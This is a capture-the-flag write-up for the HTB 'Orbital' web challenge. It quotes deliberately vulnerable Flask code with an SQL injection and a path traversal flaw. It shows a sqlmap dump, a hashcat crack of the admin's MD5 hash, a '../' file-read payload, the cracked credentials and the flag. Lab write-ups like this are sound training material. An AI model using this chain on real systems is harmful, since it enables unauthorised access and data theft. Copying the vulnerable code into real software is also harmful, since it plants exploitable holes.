Description
In order to decipher the alien communication that held the key to their location, she needed access to a decoder with advanced capabilities - a decoder that only The Orbital firm possessed. Can you get your hands on the decoder?
Write-Up
When we start the docker and go to the IP provided by the challenge, we arrive directly on a login page.
Having the python source code available, we have to start a code review. As I only have the login page available, I am looking for the function to manage authentication.
1
2
3
4
5
6
7
8
9
10
11
12
|
def login(username, password):
# I don't think it's not possible to bypass login because I'm verifying the password later.
user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)
if user:
passwordCheck = passwordVerify(user['password'], password)
if passwordCheck:
token = createJWT(user['username'])
return token
else:
return False
|
We realise that the username is passed in the SQL query without any verification. I am not very good at SQL injection so I am going tu use SQLmap. The best way to do it is by dumping a login request from BurpSuite and to pass it to SQLmap.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
~ cat request.txt
POST /api/login HTTP/1.1
Host: 64.227.41.83:32697
Content-Length: 37
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://64.227.41.83:32697
Referer: http://64.227.41.83:32697/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"username":"test","password":"test"}
|
1
|
~ sqlmap.py -r request.txt --dump
|
We manage to dump the MD5 hash of the admin’s password, then we just have to brute force it with hashcat for example.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
hashcat -m 0 hash ../HTB/rockyou.txt
hashcat (v6.2.5) starting
Dictionary cache hit:
* Filename..: ../HTB/rockyou.txt
* Passwords.: 14344387
* Bytes.....: 139921525
* Keyspace..: 14344387
1692b753c031f2905b89e7258dbc49bb:ichliebedich
Session..........: hashcat
Status...........: Cracked
|
So credentials are admin:ichliebedich
We then arrive on a page that appears to be a control dashboard.
From the source code, we see antoher authenticated endpoint :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
@api.route('/export', methods=['POST'])
@isAuthenticated
def exportFile():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
communicationName = data.get('name', '')
try:
# Everyone is saying I should escape specific characters in the filename. I don't know why.
return send_file(f'/communications/{communicationName}', as_attachment=True)
except:
return response('Unable to retrieve the communication'), 400
|
It is easy to see that the code is vulnerable to a Local File Inclusion (LFI) so we just have to trigger the endpoint with a POST request with a body like this and the admin cookie :
1
2
3
|
{
"name":"../../../../../signal_sleuth_firmware"
}
|
(In the Dockerfile we can see that the flag is in this file)
Flag
HTB{T1m3_b4$3d_$ql1_4r3_fun!!!}